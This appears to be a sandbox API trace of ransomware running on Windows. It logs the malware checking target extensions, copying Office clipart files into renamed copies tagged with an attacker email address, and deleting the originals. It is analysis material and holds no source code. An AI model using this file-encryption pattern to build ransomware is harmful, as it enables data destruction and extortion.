	[0174.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString=".zip") returned 4
	[0174.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.619] lstrlenW (lpString=".rar") returned 4
	[0174.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString=".bz2") returned 4
	[0174.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString=".7z") returned 3
	[0174.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString=".dbf") returned 4
	[0174.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString=".1cd") returned 4
	[0174.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString=".jpg") returned 4
	[0174.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.619] lstrlenW (lpString=".doc") returned 4
	[0174.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString=".docx") returned 5
	[0174.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.620] lstrlenW (lpString=".pdf") returned 4
	[0174.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString=".xls") returned 4
	[0174.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.620] lstrlenW (lpString=".xlsx") returned 5
	[0174.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.620] lstrlenW (lpString=".ppt") returned 4
	[0174.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.620] lstrlenW (lpString=".zip") returned 4
	[0174.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.620] lstrlenW (lpString=".rar") returned 4
	[0174.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString=".bz2") returned 4
	[0174.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString=".7z") returned 3
	[0174.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.620] lstrlenW (lpString=".dbf") returned 4
	[0174.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.620] lstrlenW (lpString=".1cd") returned 4
	[0174.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.620] lstrlenW (lpString=".jpg") returned 4
	[0174.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.621] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.621] lstrlenW (lpString="FLAP.WMF") returned 8
	[0174.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.622] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2070) returned 1
	[0174.622] CloseHandle (hObject=0x594) returned 1
	[0174.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220
	[0174.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.622] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.623] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.623] GetLastError () returned 0x0
	[0174.623] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x816, lpOverlapped=0x0) returned 1
	[0174.626] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x820, lpOverlapped=0x0) returned 1
	[0174.627] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.627] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0174.627] SetEndOfFile (hFile=0x590) returned 1
	[0174.627] CloseHandle (hObject=0x590) returned 1
	[0174.627] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.628] SetEndOfFile (hFile=0x594) returned 1
	[0174.631] CloseHandle (hObject=0x594) returned 1
	[0174.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.632] lstrlenW (lpString=".doc") returned 4
	[0174.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString=".docx") returned 5
	[0174.632] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0174.632] lstrlenW (lpString=".pdf") returned 4
	[0174.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString=".xls") returned 4
	[0174.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.632] lstrlenW (lpString=".xlsx") returned 5
	[0174.632] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0174.632] lstrlenW (lpString=".ppt") returned 4
	[0174.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.632] lstrlenW (lpString=".zip") returned 4
	[0174.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.632] lstrlenW (lpString=".rar") returned 4
	[0174.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString=".bz2") returned 4
	[0174.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString=".7z") returned 3
	[0174.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.632] lstrlenW (lpString=".dbf") returned 4
	[0174.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.632] lstrlenW (lpString=".1cd") returned 4
	[0174.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.633] lstrlenW (lpString=".jpg") returned 4
	[0174.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.633] lstrlenW (lpString=".doc") returned 4
	[0174.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString=".docx") returned 5
	[0174.633] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0174.633] lstrlenW (lpString=".pdf") returned 4
	[0174.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString=".xls") returned 4
	[0174.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.633] lstrlenW (lpString=".xlsx") returned 5
	[0174.633] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0174.633] lstrlenW (lpString=".ppt") returned 4
	[0174.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.633] lstrlenW (lpString=".zip") returned 4
	[0174.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.633] lstrlenW (lpString=".rar") returned 4
	[0174.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString=".bz2") returned 4
	[0174.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.633] lstrlenW (lpString=".7z") returned 3
	[0174.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.633] lstrlenW (lpString=".dbf") returned 4
	[0174.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.634] lstrlenW (lpString=".1cd") returned 4
	[0174.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0174.634] lstrlenW (lpString=".jpg") returned 4
	[0174.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.634] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.634] lstrlenW (lpString="HH00057_.WMF") returned 12
	[0174.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.635] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3764) returned 1
	[0174.635] CloseHandle (hObject=0x594) returned 1
	[0174.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220
	[0174.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.635] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.635] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.636] GetLastError () returned 0x0
	[0174.636] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xeb4, lpOverlapped=0x0) returned 1
	[0174.639] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0174.640] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.640] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.641] SetEndOfFile (hFile=0x590) returned 1
	[0174.641] CloseHandle (hObject=0x590) returned 1
	[0174.641] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.641] SetEndOfFile (hFile=0x594) returned 1
	[0174.643] CloseHandle (hObject=0x594) returned 1
	[0174.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0174.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.644] lstrlenW (lpString=".doc") returned 4
	[0174.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString=".docx") returned 5
	[0174.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.645] lstrlenW (lpString=".pdf") returned 4
	[0174.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString=".xls") returned 4
	[0174.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.645] lstrlenW (lpString=".xlsx") returned 5
	[0174.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.645] lstrlenW (lpString=".ppt") returned 4
	[0174.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.645] lstrlenW (lpString=".zip") returned 4
	[0174.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.645] lstrlenW (lpString=".rar") returned 4
	[0174.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString=".bz2") returned 4
	[0174.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString=".7z") returned 3
	[0174.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.645] lstrlenW (lpString=".dbf") returned 4
	[0174.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.645] lstrlenW (lpString=".1cd") returned 4
	[0174.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.645] lstrlenW (lpString=".jpg") returned 4
	[0174.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString=".doc") returned 4
	[0174.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString=".docx") returned 5
	[0174.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.646] lstrlenW (lpString=".pdf") returned 4
	[0174.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString=".xls") returned 4
	[0174.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.646] lstrlenW (lpString=".xlsx") returned 5
	[0174.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.646] lstrlenW (lpString=".ppt") returned 4
	[0174.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString=".zip") returned 4
	[0174.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.646] lstrlenW (lpString=".rar") returned 4
	[0174.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString=".bz2") returned 4
	[0174.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString=".7z") returned 3
	[0174.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString=".dbf") returned 4
	[0174.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString=".1cd") returned 4
	[0174.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0174.646] lstrlenW (lpString=".jpg") returned 4
	[0174.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.647] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.647] lstrlenW (lpString="HH00084_.WMF") returned 12
	[0174.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0174.778] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2472) returned 1
	[0174.778] CloseHandle (hObject=0x5b8) returned 1
	[0174.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220
	[0175.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.584] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.584] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.017] GetLastError () returned 0x0
	[0176.017] ReadFile (in: hFile=0x574, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x9a8, lpOverlapped=0x0) returned 1
	[0176.021] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0176.022] ReadFile (in: hFile=0x574, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.022] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.022] SetEndOfFile (hFile=0x588) returned 1
	[0176.025] CloseHandle (hObject=0x588) returned 1
	[0176.028] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.028] SetEndOfFile (hFile=0x574) returned 1
	[0176.046] CloseHandle (hObject=0x574) returned 1
	[0176.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0176.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString=".doc") returned 4
	[0176.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString=".docx") returned 5
	[0176.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.074] lstrlenW (lpString=".pdf") returned 4
	[0176.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString=".xls") returned 4
	[0176.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.074] lstrlenW (lpString=".xlsx") returned 5
	[0176.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.074] lstrlenW (lpString=".ppt") returned 4
